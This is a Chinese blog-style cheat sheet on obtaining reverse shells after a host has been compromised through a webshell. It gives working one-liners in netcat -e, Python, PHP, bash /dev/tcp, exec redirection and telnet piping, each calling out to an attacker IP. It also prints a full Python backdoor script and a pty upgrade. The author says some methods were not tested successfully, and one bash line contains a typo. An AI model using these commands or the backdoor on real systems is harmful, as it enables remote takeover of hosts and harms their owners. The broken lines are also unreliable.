常用的反弹shell总结

nc反弹shell

我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端，此时我们首先想到的是开启一个shell监听，这种场景比较简单，我们直接使用使用nc即可开启，如果没有nc我们也可以很轻松的直接下载安装一个，具体开启监听的命令如下。

这里需要注意一点默认的各个linux发行版本已经自带了netcat工具包，但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这里都被阉割了，所以我们需要手动下载二进制安装包，自己动手丰衣足食了，具体过程如下。

安装nc完整版

# 第一步：下载二进制netc安装包
root@home-pc# wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz 
# 第二步：解压安装包
root@home-pc# tar -xvzf netcat-0.7.1.tar.gz
# 第三步：编译安装
root@home-pc# ./configure
root@home-pc# make
root@home-pc# make install
root@home-pc# make clean
# 具体编译安装过程可以直接参见INSTALL安装说明文件内容...
# 第四步：在当前目录下运行nc帮助
root@home-pc:/tmp/netcat-0.7.1# nc -h
GNU netcat 0.7.1, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere:  nc [options] hostname port [port] ...
listen for inbound:    nc -l -p port [options] [hostname] [port] ...
tunnel to somewhere:   nc -L hostname:port -p port [options]
Mandatory arguments to long options are mandatory for short options too.
Options:
-c, --close                close connection on EOF from stdin
-e, --exec=PROGRAM         program to exec after connect
-g, --gateway=LIST         source-routing hop point[s], up to 8
-G, --pointer=NUM          source-routing pointer: 4, 8, 12, ...
-h, --help                 display this help and exit
-i, --interval=SECS        delay interval for lines sent, ports scanned
-l, --listen               listen mode, for inbound connects
-L, --tunnel=ADDRESS:PORT  forward local port to remote address
-n, --dont-resolve         numeric-only IP addresses, no DNS
-o, --output=FILE          output hexdump traffic to FILE (implies -x)
-p, --local-port=NUM       local port number
-r, --randomize            randomize local and remote ports
-s, --source=ADDRESS       local source address (ip or hostname)
-t, --tcp                  TCP mode (default)
-T, --telnet               answer using TELNET negotiation
-u, --udp                  UDP mode
-v, --verbose              verbose (use twice to be more verbose)
-V, --version              output version information and exit
-x, --hexdump              hexdump incoming and outgoing traffic
-w, --wait=SECS            timeout for connects and final net reads
-z, --zero                 zero-I/O mode (used for scanning)
Remote port number can also be specified as range.  Example: '1-1024'

至此我们已经安装完成原生版本的 netcat工具，有了netcat -e参数，我们就可以将本地bash完整发布到外网了。

测试

开启本地8080端口监听，并将本地的bash发布出去。

root# nc -lvvp 8080 -t -e /bin/bash

另外一台目标机连接到这台靶机的8080端口

nc [靶机ip] 8080

python反弹shell

在渗透机上执行监听端口的命令:

nc -lvp 1234

在靶机上执行如下命令：

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.105",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用python脚本来获取shell

# 1.编写usage函数
# 2.利用getopt模块从命令行获取参数值
# 3.区分客户端和服务端
# 4. 定义客户端代码,发送服务端命令行的回显内容
# 5. 定义服务端代码，接收命令，发动执行命令后的结果给客户端
# 6. 定义命令执行函数，执行客户端发送的命令
import socket
import getopt #该模块用来获取命令行模块
import sys
import subprocess
from threading import Thread
def main():
    target=""
    port =0
    listen =False
    help = False
    # 2. 利用getopt模块从命令行获取参数值
    opts,args =getopt.getopt(sys.argv[1:],"t:p:hl")
    for o,a in opts:
        if o=="-t":
            target=a
        elif o=="-p":
            port=int(a)
        elif o=="-h":
            help=True
        elif o=="-l":
            listen=True
    if help:
        usage()
    # 3.区分客户端和服务端
    elif not listen:
        client_handle(target,port)
    else:
        server_handle(port)
# 4.定义客户端代码，发送命令，接收服务端命令行的回显内容
def client_handle(target,port):
    client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    client.connect((target,port))
    while True:
        recv_len=1
        response="".encode("utf-8")
        while recv_len:
            data=client.recv(4096)
            recv_len=len(data)
            response+=data
            if recv_len<4096:
                break
        print(response.decode('gbk'),end="")

        # 接收命令
        buffer = input("") # str 我们输入的是字符串内容
        buffer+="\n"
        client.send(buffer.encode('utf-8')) #转化为bytes类型用于传输

# 5. 定义服务端代码，接收命令，发送执行命令后的结果给客户端

def server_handle(port):
    server =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(('0.0.0.0',port))
    server.listen(10) #定义监听的数量
    print("[*] Listening on 0.0.0.0: %d" % port)
    while True:
        client_socket,addr=server.accept()
        print("[*] Accept connection from %s:%d" % (addr[0],addr[1]))
        t=Thread(target=run_command,args=(client_socket,))
        t.start()
# 6.定义命令执行函数，执行客户端发送的命令
def run_command(client_socket):
    while True:
        client_socket.send(b"shell_>")
        cmd_buffer="".encode('utf-8') #bytes
        while b"\n" not in cmd_buffer:
            cmd_buffer+=client_socket.recv(1024)
        cmd_buffer = cmd_buffer.decode() # str
        try:
            out=subprocess.check_output(cmd_buffer,stderr=subprocess.STDOUT,shell=True)
            client_socket.send(out)
        except:
            client_socket.send(b"Failed to execute command.\r\n") #发送执行命令错误的信息



# 1.编写usage函数
def usage():
    print("help info:python backdoor.py -h")
    print("client: python backdoor.py -t [target] -p [port]")
    print("server: python backdoor.py -lp [port]")
    sys.exit()
if __name__=="__main__":
    main()

可以先放在自己的服务器里，然后再用wget下载

靶机执行:

python3 backdoor.py -lp 9999         # 进行监听端口

渗透机执行

python3 backdoor.py -t [靶机ip]  -p 9999

将shell转化为交互的tty；

python -c 'import pty;pty.spawn("/bin/bash")'

sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
[tom@redhat tmp]$ whoami 
whoami
tom
[tom@redhat tmp]$ 

php反弹shell

php -r '$sock=fsockopen("192.168.11.101",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$ 

这个我暂时没有实验成功好像需要配置一些php的参数…

exec反弹

kevin@ubuntu:~$ exec 5<>/dev/tcp/192.168.11.101/4444
kevin@ubuntu:~$ cat <&5 | while read line; do $line 2>&5 >&5; done

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$ 

第二种方式：

kevin@ubuntu:~$ 0<&196;exec 196<>/dev/tcp/192.168.11.101/4444; sh <&196>&196 2>&196

# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$ 

bash反弹shell

bash -i >& /dev/tcp/192.168.11.101/44440>&1     #靶机

# 返回的执行命令所在的用户 shell 环境
root@kali:~# nc -nvlp 4444  		#渗透机监听端口
listening on [any] 4444 ...
Connection from 192.168.11.105:47430
fyz@ubuntu:~$

telnet反弹

在攻击主机上打开两个终端分别监听 1234 和 4321端口,(确保端口开放，并且不被占用)，得到反弹shell后，1234 终端 输入命令， 4321 终端就会获得执行相应命令后的结果：

nc -lvvp 1234

nc -lvvp 4321

在目标主机上执行：

telnet 攻击主机ip 1234 | /bin/bash | telnet 攻击主机ip 4321

额，这个我好像也没试成功改天找找原因。。。

参考文章:
https://blog.csdn.net/qiuyeyijian/article/details/102993592?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
https://zhuanlan.zhihu.com/p/30170345?from_voters_page=true
https://blog.csdn.net/qq_38684504/article/details/90047213